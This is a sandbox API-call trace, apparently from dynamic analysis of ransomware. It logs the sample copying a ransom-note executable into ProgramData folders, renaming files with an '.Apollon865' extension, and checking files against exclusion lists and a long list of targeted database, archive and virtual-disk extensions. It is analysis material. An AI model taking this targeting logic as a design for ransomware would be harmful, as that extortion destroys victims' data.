	[0050.830] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.830] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.830] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.830] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="Applications" | out: lpString1="Applications") returned="Applications"
	[0050.830] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0050.830] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5c8f30
	[0050.830] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0050.830] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9587f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.830] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.830] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e1ecc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e1ecc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e1ecc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0050.830] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.830] lstrcmpiW (lpString1="Temp", lpString2="Apollon865.txt.exe") returned 1
	[0050.830] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications"
	[0050.831] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications" | out: lpString1="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications") returned="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications"
	[0050.831] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.831] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\search\\data\\applications\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.831] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.831] GetLastError () returned 0x0
	[0050.831] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.831] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.831] CloseHandle (hObject=0x15c) returned 1
	[0050.831] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.831] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2f9587f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9587f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.832] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.832] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.832] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\RAC", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC"
	[0050.832] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\RAC" | out: lpString1="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC"
	[0050.832] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.832] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\RAC\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\rac\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.832] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.832] GetLastError () returned 0x0
	[0050.832] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.832] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.832] CloseHandle (hObject=0x15c) returned 1
	[0050.833] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.833] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f97e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f97e950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.833] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.833] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.833] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="Outbound" | out: lpString1="Outbound") returned="Outbound"
	[0050.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0050.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4c) returned 0x5bcb70
	[0050.833] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0050.833] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f9cac10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f9cac10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="PUBLIS~1")) returned 1
	[0050.833] lstrcmpiW (lpString1="PublishedData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.833] lstrcmpiW (lpString1="PublishedData", lpString2="Apollon865.txt.exe") returned 1
	[0050.833] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="PublishedData" | out: lpString1="PublishedData") returned="PublishedData"
	[0050.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0050.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x56) returned 0x5983a8
	[0050.833] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0050.833] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f97e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f97e950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="STATED~1")) returned 1
	[0050.833] lstrcmpiW (lpString1="StateData", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.833] lstrcmpiW (lpString1="StateData", lpString2="Apollon865.txt.exe") returned 1
	[0050.833] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="StateData" | out: lpString1="StateData") returned="StateData"
	[0050.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0050.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4e) returned 0x5bcbc8
	[0050.833] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0050.833] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d510c40, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1d510c40, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0050.833] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.833] lstrcmpiW (lpString1="Temp", lpString2="Apollon865.txt.exe") returned 1
	[0050.834] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\RAC\\StateData", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\RAC\\StateData") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData"
	[0050.834] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\RAC\\StateData" | out: lpString1="C:\\ProgramData\\Microsoft\\RAC\\StateData") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData"
	[0050.834] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.834] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.834] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.834] GetLastError () returned 0x0
	[0050.834] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.834] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.834] CloseHandle (hObject=0x15c) returned 1
	[0050.834] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.834] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2f97e950, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f97e950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.835] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.835] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.835] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="RacDatabase.sdf" | out: lpString1="RacDatabase.sdf") returned="RacDatabase.sdf"
	[0050.835] lstrlenW (lpString="RacDatabase.sdf") returned 15
	[0050.835] lstrlenW (lpString="Apollon865") returned 10
	[0050.835] lstrcmpiW (lpString1="tabase.sdf", lpString2="Apollon865") returned 1
	[0050.835] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf.Apollon865") returned 65
	[0050.835] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racdatabase.sdf"), lpNewFileName="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf.Apollon865" (normalized: "c:\\programdata\\microsoft\\rac\\statedata\\racdatabase.sdf.apollon865"), dwFlags=0x1) returned 0
	[0050.835] GetLastError () returned 0x20
	[0050.835] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf MoveFileEx error 32\r\n") returned 84
	[0050.835] lstrlenA (lpString="[ERROR] C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf MoveFileEx error 32\r\n") returned 84
	[0050.835] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0050.835] SetFilePointer (in: hFile=0x14c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1685
	[0050.835] WriteFile (in: hFile=0x14c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x54, lpOverlapped=0x0) returned 1
	[0050.836] CloseHandle (hObject=0x14c) returned 1
	[0050.836] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0050.836] CloseHandle (hObject=0x0) returned 0
	[0050.836] CloseHandle (hObject=0x0) returned 0
	[0050.836] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4e1e72ec, ftCreationTime.dwHighDateTime=0x1cb8927, ftLastAccessTime.dwLowDateTime=0x4e1e72ec, ftLastAccessTime.dwHighDateTime=0x1cb8927, ftLastWriteTime.dwLowDateTime=0xbddddec0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RacMetaData.dat", cAlternateFileName="RACMET~1.DAT")) returned 1
	[0050.836] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.836] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="Apollon865.txt.exe") returned 1
	[0050.836] lstrcmpiW (lpString1="RacMetaData.dat", lpString2=".") returned 1
	[0050.836] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="..") returned 1
	[0050.836] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="windows") returned -1
	[0050.836] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="bootmgr") returned 1
	[0050.836] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="temp") returned -1
	[0050.836] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="pagefile.sys") returned 1
	[0050.836] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="boot") returned 1
	[0050.836] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="ids.txt") returned 1
	[0050.836] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="ntuser.dat") returned 1
	[0050.836] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="perflogs") returned 1
	[0050.836] lstrcmpiW (lpString1="RacMetaData.dat", lpString2="MSBuild") returned 1
	[0050.836] lstrlenW (lpString="RacMetaData.dat") returned 15
	[0050.836] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned 54
	[0050.836] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="RacMetaData.dat" | out: lpString1="RacMetaData.dat") returned="RacMetaData.dat"
	[0050.837] lstrlenW (lpString="RacMetaData.dat") returned 15
	[0050.837] lstrlenW (lpString="Apollon865") returned 10
	[0050.837] lstrcmpiW (lpString1="taData.dat", lpString2="Apollon865") returned 1
	[0050.837] lstrlenW (lpString=".dll") returned 4
	[0050.837] lstrcmpiW (lpString1="RacMetaData.dat", lpString2=".dll") returned 1
	[0050.837] lstrlenW (lpString=".lnk") returned 4
	[0050.837] lstrcmpiW (lpString1="RacMetaData.dat", lpString2=".lnk") returned 1
	[0050.837] lstrlenW (lpString=".ini") returned 4
	[0050.837] lstrcmpiW (lpString1="RacMetaData.dat", lpString2=".ini") returned 1
	[0050.837] lstrlenW (lpString=".sys") returned 4
	[0050.837] lstrcmpiW (lpString1="RacMetaData.dat", lpString2=".sys") returned 1
	[0050.837] lstrlenW (lpString="RacMetaData.dat") returned 15
	[0050.837] lstrlenW (lpString="bak") returned 3
	[0050.837] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0050.837] lstrlenW (lpString="ba_") returned 3
	[0050.837] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0050.837] lstrlenW (lpString="dbb") returned 3
	[0050.837] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0050.837] lstrlenW (lpString="vmdk") returned 4
	[0050.837] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0050.837] lstrlenW (lpString="rar") returned 3
	[0050.837] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0050.837] lstrlenW (lpString="zip") returned 3
	[0050.837] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0050.837] lstrlenW (lpString="tgz") returned 3
	[0050.837] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0050.837] lstrlenW (lpString="vbox") returned 4
	[0050.837] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0050.837] lstrlenW (lpString="vdi") returned 3
	[0050.837] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0050.837] lstrlenW (lpString="vhd") returned 3
	[0050.837] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0050.837] lstrlenW (lpString="vhdx") returned 4
	[0050.837] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0050.838] lstrlenW (lpString="avhd") returned 4
	[0050.838] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0050.838] lstrlenW (lpString="db") returned 2
	[0050.838] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0050.838] lstrlenW (lpString="db2") returned 3
	[0050.838] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0050.838] lstrlenW (lpString="db3") returned 3
	[0050.838] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0050.838] lstrlenW (lpString="dbf") returned 3
	[0050.838] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0050.838] lstrlenW (lpString="mdf") returned 3
	[0050.838] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0050.838] lstrlenW (lpString="mdb") returned 3
	[0050.838] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0050.838] lstrlenW (lpString="sql") returned 3
	[0050.838] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0050.838] lstrlenW (lpString="sqlite") returned 6
	[0050.838] lstrcmpiW (lpString1="ta.dat", lpString2="sqlite") returned 1
	[0050.838] lstrlenW (lpString="sqlite3") returned 7
	[0050.838] lstrcmpiW (lpString1="ata.dat", lpString2="sqlite3") returned -1
	[0050.838] lstrlenW (lpString="sqlitedb") returned 8
	[0050.838] lstrcmpiW (lpString1="Data.dat", lpString2="sqlitedb") returned -1
	[0050.838] lstrlenW (lpString="xml") returned 3
	[0050.838] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0050.838] lstrlenW (lpString="$er") returned 3
	[0050.838] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0050.838] lstrlenW (lpString="4dd") returned 3
	[0050.838] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0050.838] lstrlenW (lpString="4dl") returned 3
	[0050.838] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0050.838] lstrlenW (lpString="^^^") returned 3
	[0050.838] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0050.838] lstrlenW (lpString="abs") returned 3
	[0050.838] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0050.839] lstrlenW (lpString="abx") returned 3
	[0050.839] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0050.839] lstrlenW (lpString="accdb") returned 5
	[0050.839] lstrcmpiW (lpString1="a.dat", lpString2="accdb") returned -1
	[0050.839] lstrlenW (lpString="accdc") returned 5
	[0050.839] lstrcmpiW (lpString1="a.dat", lpString2="accdc") returned -1
	[0050.839] lstrlenW (lpString="accde") returned 5
	[0050.839] lstrcmpiW (lpString1="a.dat", lpString2="accde") returned -1
	[0050.839] lstrlenW (lpString="accdr") returned 5
	[0050.839] lstrcmpiW (lpString1="a.dat", lpString2="accdr") returned -1
	[0050.839] lstrlenW (lpString="accdt") returned 5
	[0050.839] lstrcmpiW (lpString1="a.dat", lpString2="accdt") returned -1
	[0050.839] lstrlenW (lpString="accdw") returned 5
	[0050.839] lstrcmpiW (lpString1="a.dat", lpString2="accdw") returned -1
	[0050.839] lstrlenW (lpString="accft") returned 5
	[0050.839] lstrcmpiW (lpString1="a.dat", lpString2="accft") returned -1
	[0050.839] lstrlenW (lpString="adb") returned 3
	[0050.839] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0050.839] lstrlenW (lpString="adb") returned 3
	[0050.839] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0050.839] lstrlenW (lpString="ade") returned 3
	[0050.839] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0050.839] lstrlenW (lpString="adf") returned 3
	[0050.839] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0050.839] lstrlenW (lpString="adn") returned 3
	[0050.839] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0050.839] lstrlenW (lpString="adp") returned 3
	[0050.839] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0050.839] lstrlenW (lpString="alf") returned 3
	[0050.839] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0050.839] lstrlenW (lpString="ask") returned 3
	[0050.839] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
	[0050.839] lstrlenW (lpString="btr") returned 3
	[0050.839] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0050.840] lstrlenW (lpString="cat") returned 3
	[0050.840] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0050.840] lstrlenW (lpString="cdb") returned 3
	[0050.840] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0050.840] lstrlenW (lpString="ckp") returned 3
	[0050.840] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0050.840] lstrlenW (lpString="cma") returned 3
	[0050.840] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0050.840] lstrlenW (lpString="cpd") returned 3
	[0050.840] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0050.840] lstrlenW (lpString="dacpac") returned 6
	[0050.840] lstrcmpiW (lpString1="ta.dat", lpString2="dacpac") returned 1
	[0050.840] lstrlenW (lpString="dad") returned 3
	[0050.840] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0050.840] lstrlenW (lpString="dadiagrams") returned 10
	[0050.840] lstrcmpiW (lpString1="taData.dat", lpString2="dadiagrams") returned 1
	[0050.840] lstrlenW (lpString="daschema") returned 8
	[0050.840] lstrcmpiW (lpString1="Data.dat", lpString2="daschema") returned 1
	[0050.840] lstrlenW (lpString="db-journal") returned 10
	[0050.840] lstrcmpiW (lpString1="taData.dat", lpString2="db-journal") returned 1
	[0050.840] lstrlenW (lpString="db-shm") returned 6
	[0050.840] lstrcmpiW (lpString1="ta.dat", lpString2="db-shm") returned 1
	[0050.840] lstrlenW (lpString="db-wal") returned 6
	[0050.840] lstrcmpiW (lpString1="ta.dat", lpString2="db-wal") returned 1
	[0050.840] lstrlenW (lpString="dbc") returned 3
	[0050.840] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0050.840] lstrlenW (lpString="dbs") returned 3
	[0050.840] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0050.840] lstrlenW (lpString="dbt") returned 3
	[0050.840] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0050.840] lstrlenW (lpString="dbv") returned 3
	[0050.840] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0050.840] lstrlenW (lpString="dbx") returned 3
	[0050.841] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0050.841] lstrlenW (lpString="dcb") returned 3
